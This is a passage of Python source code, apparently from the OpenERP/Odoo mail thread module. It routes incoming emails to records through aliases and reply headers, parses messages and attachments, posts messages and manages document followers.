should contain 5 elements: model, thread_id, custom_values, uid, alias record' message_id = message.get('Message-Id') email_from = decode_header(message, 'From') author_id = message_dict.get('author_id') model, thread_id, alias = route[0], route[1], route[4] model_pool = None def _create_bounce_email(): mail_mail = self.pool.get('mail.mail') mail_id = mail_mail.create(cr, uid, { 'body_html': '<div><p>Hello,</p>' '<p>The following email sent to %s cannot be accepted because this is ' 'a private email address. Only allowed people can contact us at this address.</p></div>' '<blockquote>%s</blockquote>' % (message.get('to'), message_dict.get('body')), 'subject': 'Re: %s' % message.get('subject'), 'email_to': message.get('from'), 'auto_delete': True, }, context=context) mail_mail.send(cr, uid, [mail_id], context=context) def _warn(message): _logger.warning('Routing mail with Message-Id %s: route %s: %s', message_id, route, message) # Wrong model if model and not model in self.pool: if assert_model: assert model in self.pool, 'Routing: unknown target model %s' % model _warn('unknown target model %s' % model) return () elif model: model_pool = self.pool[model] # Private message: should not contain any thread_id if not model and thread_id: if assert_model: assert thread_id == 0, 'Routing: posting a message without model should be with a null res_id (private message), received %s.' % thread_id _warn('posting a message without model should be with a null res_id (private message), received %s, resetting thread_id' % thread_id) thread_id = 0 # Private message: should have a parent_id (only answers) if not model and not message_dict.get('parent_id'): if assert_model: assert message_dict.get('parent_id'), 'Routing: posting a message without model should be with a parent_id (private mesage).' _warn('posting a message without model should be with a parent_id (private mesage), skipping') return () # Existing Document: check if exists; if not, fallback on create if allowed if thread_id and not model_pool.exists(cr, uid, thread_id): if create_fallback: _warn('reply to missing document (%s,%s), fall back on new document creation' % (model, thread_id)) thread_id = None elif assert_model: assert model_pool.exists(cr, uid, thread_id), 'Routing: reply to missing document (%s,%s)' % (model, thread_id) else: _warn('reply to missing document (%s,%s), skipping' % (model, thread_id)) return () # Existing Document: check model accepts the mailgateway if thread_id and model and not hasattr(model_pool, 'message_update'): if create_fallback: _warn('model %s does not accept document update, fall back on document creation' % model) thread_id = None elif assert_model: assert hasattr(model_pool, 'message_update'), 'Routing: model %s does not accept document update, crashing' % model else: _warn('model %s does not accept document update, skipping' % model) return () # New Document: check model accepts the mailgateway if not thread_id and model and not hasattr(model_pool, 'message_new'): if assert_model: assert hasattr(model_pool, 'message_new'), 'Model %s does not accept document creation, crashing' % model _warn('model %s does not accept document creation, skipping' % model) return () # Update message author if asked # We do it now because we need it for aliases (contact settings) if not author_id and update_author: author_ids = self._find_partner_from_emails(cr, uid, thread_id, [email_from], model=model, context=context) if author_ids: author_id = author_ids[0] message_dict['author_id'] = author_id # Alias: check alias_contact settings if alias and alias.alias_contact == 'followers' and (thread_id or alias.alias_parent_thread_id): if thread_id: obj = self.pool[model].browse(cr, uid, thread_id, context=context) else: obj = self.pool[alias.alias_parent_model_id.model].browse(cr, uid, alias.alias_parent_thread_id, context=context) if not author_id or not author_id in [fol.id for fol in obj.message_follower_ids]: _warn('alias %s restricted to internal followers, skipping' % alias.alias_name) _create_bounce_email() return () elif alias and alias.alias_contact == 'partners' and not author_id: _warn('alias %s does not accept unknown author, skipping' % alias.alias_name) _create_bounce_email() return () return (model, thread_id, route[2], route[3], route[4]) def message_route(self, cr, uid, message, message_dict, model=None, thread_id=None, custom_values=None, context=None): """Attempt to figure out the correct target model, thread_id, custom_values and user_id to use for an incoming message. Multiple values may be returned, if a message had multiple recipients matching existing mail.aliases, for example. The following heuristics are used, in this order: 1. If the message replies to an existing thread_id, and properly contains the thread model in the 'In-Reply-To' header, use this model/thread_id pair, and ignore custom_value (not needed as no creation will take place) 2. Look for a mail.alias entry matching the message recipient, and use the corresponding model, thread_id, custom_values and user_id. 3. Fallback to the ``model``, ``thread_id`` and ``custom_values`` provided. 4. If all the above fails, raise an exception. :param string message: an email.message instance :param dict message_dict: dictionary holding message variables :param string model: the fallback model to use if the message does not match any of the currently configured mail aliases (may be None if a matching alias is supposed to be present) :type dict custom_values: optional dictionary of default field values to pass to ``message_new`` if a new record needs to be created. Ignored if the thread record already exists, and also if a matching mail.alias was found (aliases define their own defaults) :param int thread_id: optional ID of the record/thread from ``model`` to which this mail should be attached. Only used if the message does not reply to an existing thread and does not match any mail alias. :return: list of [model, thread_id, custom_values, user_id, alias] """ assert isinstance(message, Message), 'message must be an email.message.Message at this point' mail_msg_obj = self.pool['mail.message'] fallback_model = model # Get email.message.Message variables for future processing message_id = message.get('Message-Id') email_from = decode_header(message, 'From') email_to = decode_header(message, 'To') references = decode_header(message, 'References') in_reply_to = decode_header(message, 'In-Reply-To') thread_references = references or in_reply_to # 1. message is a reply to an existing message (exact match of message_id) msg_references = thread_references.split() mail_message_ids = mail_msg_obj.search(cr, uid, [('message_id', 'in', msg_references)], context=context) if mail_message_ids: original_msg = mail_msg_obj.browse(cr, SUPERUSER_ID, mail_message_ids[0], context=context) model, thread_id = original_msg.model, original_msg.res_id _logger.info( 'Routing mail from %s to %s with Message-Id %s: direct reply to msg: model: %s, thread_id: %s, custom_values: %s, uid: %s', email_from, email_to, message_id, model, thread_id, custom_values, uid) route = self.message_route_verify( cr, uid, message, message_dict, (model, thread_id, custom_values, uid, None), update_author=True, assert_model=True, create_fallback=True, context=context) return route and [route] or [] # 2. message is a reply to an existign thread (6.1 compatibility) ref_match = thread_references and tools.reference_re.search(thread_references) if ref_match: thread_id = int(ref_match.group(1)) model = ref_match.group(2) or fallback_model if thread_id and model in self.pool: model_obj = self.pool[model] compat_mail_msg_ids = mail_msg_obj.search( cr, uid, [ ('message_id', '=', False), ('model', '=', model), ('res_id', '=', thread_id), ], context=context) if compat_mail_msg_ids and model_obj.exists(cr, uid, thread_id) and hasattr(model_obj, 'message_update'): _logger.info( 'Routing mail from %s to %s with Message-Id %s: direct thread reply (compat-mode) to model: %s, thread_id: %s, custom_values: %s, uid: %s', email_from, email_to, message_id, model, thread_id, custom_values, uid) route = self.message_route_verify( cr, uid, message, message_dict, (model, thread_id, custom_values, uid, None), update_author=True, assert_model=True, create_fallback=True, context=context) return route and [route] or [] # 2. Reply to a private message if in_reply_to: mail_message_ids = mail_msg_obj.search(cr, uid, [ ('message_id', '=', in_reply_to), '!', ('message_id', 'ilike', 'reply_to') ], limit=1, context=context) if mail_message_ids: mail_message = mail_msg_obj.browse(cr, uid, mail_message_ids[0], context=context) _logger.info('Routing mail from %s to %s with Message-Id %s: direct reply to a private message: %s, custom_values: %s, uid: %s', email_from, email_to, message_id, mail_message.id, custom_values, uid) route = self.message_route_verify(cr, uid, message, message_dict, (mail_message.model, mail_message.res_id, custom_values, uid, None), update_author=True, assert_model=True, create_fallback=True, context=context) return route and [route] or [] # 3. Look for a matching mail.alias entry # Delivered-To is a safe bet in most modern MTAs, but we have to fallback on To + Cc values # for all the odd MTAs out there, as there is no standard header for the envelope's `rcpt_to` value. rcpt_tos = \ ','.join([decode_header(message, 'Delivered-To'), decode_header(message, 'To'), decode_header(message, 'Cc'), decode_header(message, 'Resent-To'), decode_header(message, 'Resent-Cc')]) local_parts = [e.split('@')[0] for e in tools.email_split(rcpt_tos)] if local_parts: mail_alias = self.pool.get('mail.alias') alias_ids = mail_alias.search(cr, uid, [('alias_name', 'in', local_parts)]) if alias_ids: routes = [] for alias in mail_alias.browse(cr, uid, alias_ids, context=context): user_id = alias.alias_user_id.id if not user_id: # TDE note: this could cause crashes, because no clue that the user # that send the email has the right to create or modify a new document # Fallback on user_id = uid # Note: recognized partners will be added as followers anyway # user_id = self._message_find_user_id(cr, uid, message, context=context) user_id = uid _logger.info('No matching user_id for the alias %s', alias.alias_name) route = (alias.alias_model_id.model, alias.alias_force_thread_id, eval(alias.alias_defaults), user_id, alias) _logger.info('Routing mail from %s to %s with Message-Id %s: direct alias match: %r', email_from, email_to, message_id, route) route = self.message_route_verify(cr, uid, message, message_dict, route, update_author=True, assert_model=True, create_fallback=True, context=context) if route: routes.append(route) return routes # 4. Fallback to the provided parameters, if they work if not thread_id: # Legacy: fallback to matching [ID] in the Subject match = tools.res_re.search(decode_header(message, 'Subject')) thread_id = match and match.group(1) # Convert into int (bug spotted in 7.0 because of str) try: thread_id = int(thread_id) except: thread_id = False _logger.info('Routing mail from %s to %s with Message-Id %s: fallback to model:%s, thread_id:%s, custom_values:%s, uid:%s', email_from, email_to, message_id, fallback_model, thread_id, custom_values, uid) route = self.message_route_verify(cr, uid, message, message_dict, (fallback_model, thread_id, custom_values, uid, None), update_author=True, assert_model=True, context=context) if route: return [route] # AssertionError if no routes found and if no bounce occured assert False, \ "No possible route found for incoming message from %s to %s (Message-Id %s:)." \ "Create an appropriate mail.alias or force the destination model." % (email_from, email_to, message_id) def message_route_process(self, cr, uid, message, message_dict, routes, context=None): # postpone setting message_dict.partner_ids after message_post, to avoid double notifications partner_ids = message_dict.pop('partner_ids', []) thread_id = False for model, thread_id, custom_values, user_id, alias in routes: if self._name == 'mail.thread': context.update({'thread_model': model}) if model: model_pool = self.pool[model] assert thread_id and hasattr(model_pool, 'message_update') or hasattr(model_pool, 'message_new'), \ "Undeliverable mail with Message-Id %s, model %s does not accept incoming emails" % \ (message_dict['message_id'], model) # disabled subscriptions during message_new/update to avoid having the system user running the # email gateway become a follower of all inbound messages nosub_ctx = dict(context, mail_create_nosubscribe=True, mail_create_nolog=True) if thread_id and hasattr(model_pool, 'message_update'): model_pool.message_update(cr, user_id, [thread_id], message_dict, context=nosub_ctx) else: thread_id = model_pool.message_new(cr, user_id, message_dict, custom_values, context=nosub_ctx) else: assert thread_id == 0, "Posting a message without model should be with a null res_id, to create a private message." model_pool = self.pool.get('mail.thread') if not hasattr(model_pool, 'message_post'): context['thread_model'] = model model_pool = self.pool['mail.thread'] new_msg_id = model_pool.message_post(cr, uid, [thread_id], context=context, subtype='mail.mt_comment', **message_dict) if partner_ids: # postponed after message_post, because this is an external message and we don't want to create # duplicate emails due to notifications self.pool.get('mail.message').write(cr, uid, [new_msg_id], {'partner_ids': partner_ids}, context=context) return thread_id def message_process(self, cr, uid, model, message, custom_values=None, save_original=False, strip_attachments=False, thread_id=None, context=None): """ Process an incoming RFC2822 email message, relying on ``mail.message.parse()`` for the parsing operation, and ``message_route()`` to figure out the target model. Once the target model is known, its ``message_new`` method is called with the new message (if the thread record did not exist) or its ``message_update`` method (if it did). There is a special case where the target model is False: a reply to a private message. In this case, we skip the message_new / message_update step, to just post a new message using mail_thread message_post. :param string model: the fallback model to use if the message does not match any of the currently configured mail aliases (may be None if a matching alias is supposed to be present) :param message: source of the RFC2822 message :type message: string or xmlrpclib.Binary :type dict custom_values: optional dictionary of field values to pass to ``message_new`` if a new record needs to be created. Ignored if the thread record already exists, and also if a matching mail.alias was found (aliases define their own defaults) :param bool save_original: whether to keep a copy of the original email source attached to the message after it is imported. :param bool strip_attachments: whether to strip all attachments before processing the message, in order to save some space. :param int thread_id: optional ID of the record/thread from ``model`` to which this mail should be attached. When provided, this overrides the automatic detection based on the message headers. """ if context is None: context = {} # extract message bytes - we are forced to pass the message as binary because # we don't know its encoding until we parse its headers and hence can't # convert it to utf-8 for transport between the mailgate script and here. if isinstance(message, xmlrpclib.Binary): message = str(message.data) # Warning: message_from_string doesn't always work correctly on unicode, # we must use utf-8 strings here :-( if isinstance(message, unicode): message = message.encode('utf-8') msg_txt = email.message_from_string(message) # parse the message, verify we are not in a loop by checking message_id is not duplicated msg = self.message_parse(cr, uid, msg_txt, save_original=save_original, context=context) if strip_attachments: msg.pop('attachments', None) if msg.get('message_id'): # should always be True as message_parse generate one if missing existing_msg_ids = self.pool.get('mail.message').search(cr, SUPERUSER_ID, [ ('message_id', '=', msg.get('message_id')), ], context=context) if existing_msg_ids: _logger.info('Ignored mail from %s to %s with Message-Id %s: found duplicated Message-Id during processing', msg.get('from'), msg.get('to'), msg.get('message_id')) return False # find possible routes for the message routes = self.message_route(cr, uid, msg_txt, msg, model, thread_id, custom_values, context=context) thread_id = self.message_route_process(cr, uid, msg_txt, msg, routes, context=context) return thread_id def message_new(self, cr, uid, msg_dict, custom_values=None, context=None): """Called by ``message_process`` when a new message is received for a given thread model, if the message did not belong to an existing thread. The default behavior is to create a new record of the corresponding model (based on some very basic info extracted from the message). Additional behavior may be implemented by overriding this method. :param dict msg_dict: a map containing the email details and attachments. See ``message_process`` and ``mail.message.parse`` for details. :param dict custom_values: optional dictionary of additional field values to pass to create() when creating the new thread record. Be careful, these values may override any other values coming from the message. :param dict context: if a ``thread_model`` value is present in the context, its value will be used to determine the model of the record to create (instead of the current model). :rtype: int :return: the id of the newly created thread object """ if context is None: context = {} data = {} if isinstance(custom_values, dict): data = custom_values.copy() model = context.get('thread_model') or self._name model_pool = self.pool[model] fields = model_pool.fields_get(cr, uid, context=context) if 'name' in fields and not data.get('name'): data['name'] = msg_dict.get('subject', '') res_id = model_pool.create(cr, uid, data, context=context) return res_id def message_update(self, cr, uid, ids, msg_dict, update_vals=None, context=None): """Called by ``message_process`` when a new message is received for an existing thread. The default behavior is to update the record with update_vals taken from the incoming email. Additional behavior may be implemented by overriding this method. :param dict msg_dict: a map containing the email details and attachments. See ``message_process`` and ``mail.message.parse()`` for details. :param dict update_vals: a dict containing values to update records given their ids; if the dict is None or is void, no write operation is performed. """ if update_vals: self.write(cr, uid, ids, update_vals, context=context) return True def _message_extract_payload(self, message, save_original=False): """Extract body as HTML and attachments from the mail message""" attachments = [] body = u'' if save_original: attachments.append(('original_email.eml', message.as_string())) if not message.is_multipart() or 'text/' in message.get('content-type', ''): encoding = message.get_content_charset() body = message.get_payload(decode=True) body = tools.ustr(body, encoding, errors='replace') if message.get_content_type() == 'text/plain': # text/plain -> <pre/> body = tools.append_content_to_html(u'', body, preserve=True) else: alternative = False for part in message.walk(): if part.get_content_type() == 'multipart/alternative': alternative = True if part.get_content_maintype() == 'multipart': continue # skip container # part.get_filename returns decoded value if able to decode, coded otherwise. # original get_filename is not able to decode iso-8859-1 (for instance). # therefore, iso encoded attachements are not able to be decoded properly with get_filename # code here partially copy the original get_filename method, but handle more encoding filename=part.get_param('filename', None, 'content-disposition') if not filename: filename=part.get_param('name', None) if filename: if isinstance(filename, tuple): # RFC2231 filename=email.utils.collapse_rfc2231_value(filename).strip() else: filename=decode(filename) encoding = part.get_content_charset() # None if attachment # 1) Explicit Attachments -> attachments if filename or part.get('content-disposition', '').strip().startswith('attachment'): attachments.append((filename or 'attachment', part.get_payload(decode=True))) continue # 2) text/plain -> <pre/> if part.get_content_type() == 'text/plain' and (not alternative or not body): body = tools.append_content_to_html(body, tools.ustr(part.get_payload(decode=True), encoding, errors='replace'), preserve=True) # 3) text/html -> raw elif part.get_content_type() == 'text/html': html = tools.ustr(part.get_payload(decode=True), encoding, errors='replace') if alternative: body = html else: body = tools.append_content_to_html(body, html, plaintext=False) # 4) Anything else -> attachment else: attachments.append((filename or 'attachment', part.get_payload(decode=True))) return body, attachments def message_parse(self, cr, uid, message, save_original=False, context=None): """Parses a string or email.message.Message representing an RFC-2822 email, and returns a generic dict holding the message details. :param message: the message to parse :type message: email.message.Message | string | unicode :param bool save_original: whether the returned dict should include an ``original`` attachment containing the source of the message :rtype: dict :return: A dict with the following structure, where each field may not be present if missing in original message:: { 'message_id': msg_id, 'subject': subject, 'from': from, 'to': to, 'cc': cc, 'body': unified_body, 'attachments': [('file1', 'bytes'), ('file2', 'bytes')} } """ msg_dict = { 'type': 'email', } if not isinstance(message, Message): if isinstance(message, unicode): # Warning: message_from_string doesn't always work correctly on unicode, # we must use utf-8 strings here :-( message = message.encode('utf-8') message = email.message_from_string(message) message_id = message['message-id'] if not message_id: # Very unusual situation, be we should be fault-tolerant here message_id = "<%s@localhost>" % time.time() _logger.debug('Parsing Message without message-id, generating a random one: %s', message_id) msg_dict['message_id'] = message_id if message.get('Subject'): msg_dict['subject'] = decode(message.get('Subject')) # Envelope fields not stored in mail.message but made available for message_new() msg_dict['from'] = decode(message.get('from')) msg_dict['to'] = decode(message.get('to')) msg_dict['cc'] = decode(message.get('cc')) msg_dict['email_from'] = decode(message.get('from')) partner_ids = self._message_find_partners(cr, uid, message, ['To', 'Cc'], context=context) msg_dict['partner_ids'] = [(4, partner_id) for partner_id in partner_ids] if message.get('Date'): try: date_hdr = decode(message.get('Date')) parsed_date = dateutil.parser.parse(date_hdr, fuzzy=True) if parsed_date.utcoffset() is None: # naive datetime, so we arbitrarily decide to make it # UTC, there's no better choice. Should not happen, # as RFC2822 requires timezone offset in Date headers. stored_date = parsed_date.replace(tzinfo=pytz.utc) else: stored_date = parsed_date.astimezone(tz=pytz.utc) except Exception: _logger.warning('Failed to parse Date header %r in incoming mail ' 'with message-id %r, assuming current date/time.', message.get('Date'), message_id) stored_date = datetime.datetime.now() msg_dict['date'] = stored_date.strftime(tools.DEFAULT_SERVER_DATETIME_FORMAT) if message.get('In-Reply-To'): parent_ids = self.pool.get('mail.message').search(cr, uid, [('message_id', '=', decode(message['In-Reply-To']))]) if parent_ids: msg_dict['parent_id'] = parent_ids[0] if message.get('References') and 'parent_id' not in msg_dict: parent_ids = self.pool.get('mail.message').search(cr, uid, [('message_id', 'in', [x.strip() for x in decode(message['References']).split()])]) if parent_ids: msg_dict['parent_id'] = parent_ids[0] msg_dict['body'], msg_dict['attachments'] = self._message_extract_payload(message, save_original=save_original) return msg_dict #------------------------------------------------------ # Note specific #------------------------------------------------------ def log(self, cr, uid, id, message, secondary=False, context=None): _logger.warning("log() is deprecated. As this module inherit from "\ "mail.thread, the message will be managed by this "\ "module instead of by the res.log mechanism. Please "\ "use mail_thread.message_post() instead of the "\ "now deprecated res.log.") self.message_post(cr, uid, [id], message, context=context) def _message_add_suggested_recipient(self, cr, uid, result, obj, partner=None, email=None, reason='', context=None): """ Called by message_get_suggested_recipients, to add a suggested recipient in the result dictionary. The form is : partner_id, partner_name<partner_email> or partner_name, reason """ if email and not partner: # get partner info from email partner_info = self.message_partner_info_from_emails(cr, uid, obj.id, [email], context=context)[0] if partner_info.get('partner_id'): partner = self.pool.get('res.partner').browse(cr, SUPERUSER_ID, [partner_info['partner_id']], context=context)[0] if email and email in [val[1] for val in result[obj.id]]: # already existing email -> skip return result if partner and partner in obj.message_follower_ids: # recipient already in the followers -> skip return result if partner and partner in [val[0] for val in result[obj.id]]: # already existing partner ID -> skip return result if partner and partner.email: # complete profile: id, name <email> result[obj.id].append((partner.id, '%s<%s>' % (partner.name, partner.email), reason)) elif partner: # incomplete profile: id, name result[obj.id].append((partner.id, '%s' % (partner.name), reason)) else: # unknown partner, we are probably managing an email address result[obj.id].append((False, email, reason)) return result def message_get_suggested_recipients(self, cr, uid, ids, context=None): """ Returns suggested recipients for ids. Those are a list of tuple (partner_id, partner_name, reason), to be managed by Chatter. """ result = dict.fromkeys(ids, list()) if self._all_columns.get('user_id'): for obj in self.browse(cr, SUPERUSER_ID, ids, context=context): # SUPERUSER because of a read on res.users that would crash otherwise if not obj.user_id or not obj.user_id.partner_id: continue self._message_add_suggested_recipient(cr, uid, result, obj, partner=obj.user_id.partner_id, reason=self._all_columns['user_id'].column.string, context=context) return result def _find_partner_from_emails(self, cr, uid, id, emails, model=None, context=None, check_followers=True): """ Utility method to find partners from email addresses. The rules are : 1 - check in document (model | self, id) followers 2 - try to find a matching partner that is also an user 3 - try to find a matching partner :param list emails: list of email addresses :param string model: model to fetch related record; by default self is used. :param boolean check_followers: check in document followers """ partner_obj = self.pool['res.partner'] partner_ids = [] obj = None if id and (model or self._name != 'mail.thread') and check_followers: if model: obj = self.pool[model].browse(cr, uid, id, context=context) else: obj = self.browse(cr, uid, id, context=context) for contact in emails: partner_id = False email_address = tools.email_split(contact) if not email_address: partner_ids.append(partner_id) continue email_address = email_address[0] # first try: check in document's followers if obj: for follower in obj.message_follower_ids: if follower.email == email_address: partner_id = follower.id # second try: check in partners that are also users if not partner_id: ids = partner_obj.search(cr, SUPERUSER_ID, [ ('email', 'ilike', email_address), ('user_ids', '!=', False) ], limit=1, context=context) if ids: partner_id = ids[0] # third try: check in partners if not partner_id: ids = partner_obj.search(cr, SUPERUSER_ID, [ ('email', 'ilike', email_address) ], limit=1, context=context) if ids: partner_id = ids[0] partner_ids.append(partner_id) return partner_ids def message_partner_info_from_emails(self, cr, uid, id, emails, link_mail=False, context=None): """ Convert a list of emails into a list partner_ids and a list new_partner_ids. The return value is non conventional because it is meant to be used by the mail widget. :return dict: partner_ids and new_partner_ids """ mail_message_obj = self.pool.get('mail.message') partner_ids = self._find_partner_from_emails(cr, uid, id, emails, context=context) result = list() for idx in range(len(emails)): email_address = emails[idx] partner_id = partner_ids[idx] partner_info = {'full_name': email_address, 'partner_id': partner_id} result.append(partner_info) # link mail with this from mail to the new partner id if link_mail and partner_info['partner_id']: message_ids = mail_message_obj.search(cr, SUPERUSER_ID, [ '|', ('email_from', '=', email_address), ('email_from', 'ilike', '<%s>' % email_address), ('author_id', '=', False) ], context=context) if message_ids: mail_message_obj.write(cr, SUPERUSER_ID, message_ids, {'author_id': partner_info['partner_id']}, context=context) return result def _message_preprocess_attachments(self, cr, uid, attachments, attachment_ids, attach_model, attach_res_id, context=None): """ Preprocess attachments for mail_thread.message_post() or mail_mail.create(). :param list attachments: list of attachment tuples in the form ``(name,content)``, where content is NOT base64 encoded :param list attachment_ids: a list of attachment ids, not in tomany command form :param str attach_model: the model of the attachments parent record :param integer attach_res_id: the id of the attachments parent record """ Attachment = self.pool['ir.attachment'] m2m_attachment_ids = [] if attachment_ids: filtered_attachment_ids = Attachment.search(cr, SUPERUSER_ID, [ ('res_model', '=', 'mail.compose.message'), ('create_uid', '=', uid), ('id', 'in', attachment_ids)], context=context) if filtered_attachment_ids: Attachment.write(cr, SUPERUSER_ID, filtered_attachment_ids, {'res_model': attach_model, 'res_id': attach_res_id}, context=context) m2m_attachment_ids += [(4, id) for id in attachment_ids] # Handle attachments parameter, that is a dictionary of attachments for name, content in attachments: if isinstance(content, unicode): content = content.encode('utf-8') data_attach = { 'name': name, 'datas': base64.b64encode(str(content)), 'datas_fname': name, 'description': name, 'res_model': attach_model, 'res_id': attach_res_id, } m2m_attachment_ids.append((0, 0, data_attach)) return m2m_attachment_ids def message_post(self, cr, uid, thread_id, body='', subject=None, type='notification', subtype=None, parent_id=False, attachments=None, context=None, content_subtype='html', **kwargs): """ Post a new message in an existing thread, returning the new mail.message ID. :param int thread_id: thread ID to post into, or list with one ID; if False/0, mail.message model will also be set as False :param str body: body of the message, usually raw HTML that will be sanitized :param str type: see mail_message.type field :param str content_subtype:: if plaintext: convert body into html :param int parent_id: handle reply to a previous message by adding the parent partners to the message in case of private discussion :param tuple(str,str) attachments or list id: list of attachment tuples in the form ``(name,content)``, where content is NOT base64 encoded Extra keyword arguments will be used as default column values for the new mail.message record. Special cases: - attachment_ids: supposed not attached to any document; attach them to the related document. Should only be set by Chatter. :return int: ID of newly created mail.message """ if context is None: context = {} if attachments is None: attachments = {} mail_message = self.pool.get('mail.message') ir_attachment = self.pool.get('ir.attachment') assert (not thread_id) or \ isinstance(thread_id, (int, long)) or \ (isinstance(thread_id, (list, tuple)) and len(thread_id) == 1), \ "Invalid thread_id; should be 0, False, an ID or a list with one ID" if isinstance(thread_id, (list, tuple)): thread_id = thread_id[0] # if we're processing a message directly coming from the gateway, the destination model was # set in the context. model = False if thread_id: model = context.get('thread_model', self._name) if self._name == 'mail.thread' else self._name if model != self._name and hasattr(self.pool[model], 'message_post'): del context['thread_model'] return self.pool[model].message_post(cr, uid, thread_id, body=body, subject=subject, type=type, subtype=subtype, parent_id=parent_id, attachments=attachments, context=context, content_subtype=content_subtype, **kwargs) #0: Find the message's author, because we need it for private discussion author_id = kwargs.get('author_id') if author_id is None: # keep False values author_id = self.pool.get('mail.message')._get_default_author(cr, uid, context=context) # 1: Handle content subtype: if plaintext, converto into HTML if content_subtype == 'plaintext': body = tools.plaintext2html(body) # 2: Private message: add recipients (recipients and author of parent message) - current author # + legacy-code management (! we manage only 4 and 6 commands) partner_ids = set() kwargs_partner_ids = kwargs.pop('partner_ids', []) for partner_id in kwargs_partner_ids: if isinstance(partner_id, (list, tuple)) and partner_id[0] == 4 and len(partner_id) == 2: partner_ids.add(partner_id[1]) if isinstance(partner_id, (list, tuple)) and partner_id[0] == 6 and len(partner_id) == 3: partner_ids |= set(partner_id[2]) elif isinstance(partner_id, (int, long)): partner_ids.add(partner_id) else: pass # we do not manage anything else if parent_id and not model: parent_message = mail_message.browse(cr, uid, parent_id, context=context) private_followers = set([partner.id for partner in parent_message.partner_ids]) if parent_message.author_id: private_followers.add(parent_message.author_id.id) private_followers -= set([author_id]) partner_ids |= private_followers # 3. Attachments # - HACK TDE FIXME: Chatter: attachments linked to the document (not done JS-side), load the message attachment_ids = self._message_preprocess_attachments(cr, uid, attachments, kwargs.pop('attachment_ids', []), model, thread_id, context) # 4: mail.message.subtype subtype_id = False if subtype: if '.' not in subtype: subtype = 'mail.%s' % subtype ref = self.pool.get('ir.model.data').get_object_reference(cr, uid, *subtype.split('.')) subtype_id = ref and ref[1] or False # automatically subscribe recipients if asked to if context.get('mail_post_autofollow') and thread_id and partner_ids: partner_to_subscribe = partner_ids if context.get('mail_post_autofollow_partner_ids'): partner_to_subscribe = filter(lambda item: item in context.get('mail_post_autofollow_partner_ids'), partner_ids) self.message_subscribe(cr, uid, [thread_id], list(partner_to_subscribe), context=context) # _mail_flat_thread: automatically set free messages to the first posted message if self._mail_flat_thread and not parent_id and thread_id: message_ids = mail_message.search(cr, uid, ['&', ('res_id', '=', thread_id), ('model', '=', model)], context=context, order="id ASC", limit=1) parent_id = message_ids and message_ids[0] or False # we want to set a parent: force to set the parent_id to the oldest ancestor, to avoid having more than 1 level of thread elif parent_id: message_ids = mail_message.search(cr, SUPERUSER_ID, [('id', '=', parent_id), ('parent_id', '!=', False)], context=context) # avoid loops when finding ancestors processed_list = [] if message_ids: message = mail_message.browse(cr, SUPERUSER_ID, message_ids[0], context=context) while (message.parent_id and message.parent_id.id not in processed_list): processed_list.append(message.parent_id.id) message = message.parent_id parent_id = message.id values = kwargs values.update({ 'author_id': author_id, 'model': model, 'res_id': thread_id or False, 'body': body, 'subject': subject or False, 'type': type, 'parent_id': parent_id, 'attachment_ids': attachment_ids, 'subtype_id': subtype_id, 'partner_ids': [(4, pid) for pid in partner_ids], }) # Avoid warnings about non-existing fields for x in ('from', 'to', 'cc'): values.pop(x, None) # Create and auto subscribe the author msg_id = mail_message.create(cr, uid, values, context=context) message = mail_message.browse(cr, uid, msg_id, context=context) if message.author_id and thread_id and type != 'notification' and not context.get('mail_create_nosubscribe'): self.message_subscribe(cr, uid, [thread_id], [message.author_id.id], context=context) return msg_id #------------------------------------------------------ # Followers API #------------------------------------------------------ def message_get_subscription_data(self, cr, uid, ids, user_pid=None, context=None): """ Wrapper to get subtypes data. """ return self._get_subscription_data(cr, uid, ids, None, None, user_pid=user_pid, context=context) def message_subscribe_users(self, cr, uid, ids, user_ids=None, subtype_ids=None, context=None): """ Wrapper on message_subscribe, using users. If user_ids is not provided, subscribe uid instead. """ if user_ids is None: user_ids = [uid] partner_ids = [user.partner_id.id for user in self.pool.get('res.users').browse(cr, uid, user_ids, context=context)] return self.message_subscribe(cr, uid, ids, partner_ids, subtype_ids=subtype_ids, context=context) def message_subscribe(self, cr, uid, ids, partner_ids, subtype_ids=None, context=None): """ Add partners to the records followers. """ if context is None: context = {} mail_followers_obj = self.pool.get('mail.followers') subtype_obj = self.pool.get('mail.message.subtype') user_pid = self.pool.get('res.users').browse(cr, uid, uid, context=context).partner_id.id if set(partner_ids) == set([user_pid]): if context.get('operation', '') != 'create': try: self.check_access_rights(cr, uid, 'read') self.check_access_rule(cr, uid, ids, 'read') except (osv.except_osv, orm.except_orm): return False else: self.check_access_rights(cr, uid, 'write') self.check_access_rule(cr, uid, ids, 'write') existing_pids_dict = {} fol_ids = mail_followers_obj.search(cr, SUPERUSER_ID, ['&', '&', ('res_model', '=', self._name), ('res_id', 'in', ids), ('partner_id', 'in', partner_ids)]) for fol in mail_followers_obj.browse(cr, SUPERUSER_ID, fol_ids, context=context): existing_pids_dict.setdefault(fol.res_id, set()).add(fol.partner_id.id) # subtype_ids specified: update already subscribed partners if subtype_ids and fol_ids: mail_followers_obj.write(cr, SUPERUSER_ID, fol_ids, {'subtype_ids': [(6, 0, subtype_ids)]}, context=context) # subtype_ids not specified: do not update already subscribed partner, fetch default subtypes for new partners if subtype_ids is None: subtype_ids = subtype_obj.search( cr, uid, [ ('default', '=', True), '|', ('res_model', '=', self._name), ('res_model', '=', False)], context=context) for id in ids: existing_pids = existing_pids_dict.get(id, set()) new_pids = set(partner_ids) - existing_pids # subscribe new followers for new_pid in new_pids: mail_followers_obj.create( cr, SUPERUSER_ID, { 'res_model': self._name, 'res_id': id, 'partner_id': new_pid, 'subtype_ids': [(6, 0, subtype_ids)], }, context=context) return True def message_unsubscribe_users(self, cr, uid, ids, user_ids=None, context=None): """ Wrapper on message_subscribe, using users. If user_ids is not provided, unsubscribe uid instead. """ if user_ids is None: user_ids = [uid] partner_ids = [user.partner_id.id for user in self.pool.get('res.users').browse(cr, uid, user_ids, context=context)] return self.message_unsubscribe(cr, uid, ids, partner_ids, context=context) def message_unsubscribe(self, cr, uid, ids, partner_ids, context=None): """ Remove partners from the records followers. """ user_pid = self.pool.get('res.users').read(cr, uid, uid, ['partner_id'], context=context)['partner_id'][0] if set(partner_ids) == set([user_pid]): self.check_access_rights(cr, uid, 'read') self.check_access_rule(cr, uid, ids, 'read') else: self.check_access_rights(cr, uid, 'write') self.check_access_rule(cr, uid, ids, 'write') fol_obj = self.pool['mail.followers'] fol_ids = fol_obj.search( cr, SUPERUSER_ID, [ ('res_model', '=', self._name), ('res_id', 'in', ids), ('partner_id', 'in', partner_ids) ], context=context) return fol_obj.unlink(cr, SUPERUSER_ID, fol_ids, context=context) def _message_get_auto_subscribe_fields(self, cr, uid, updated_fields, 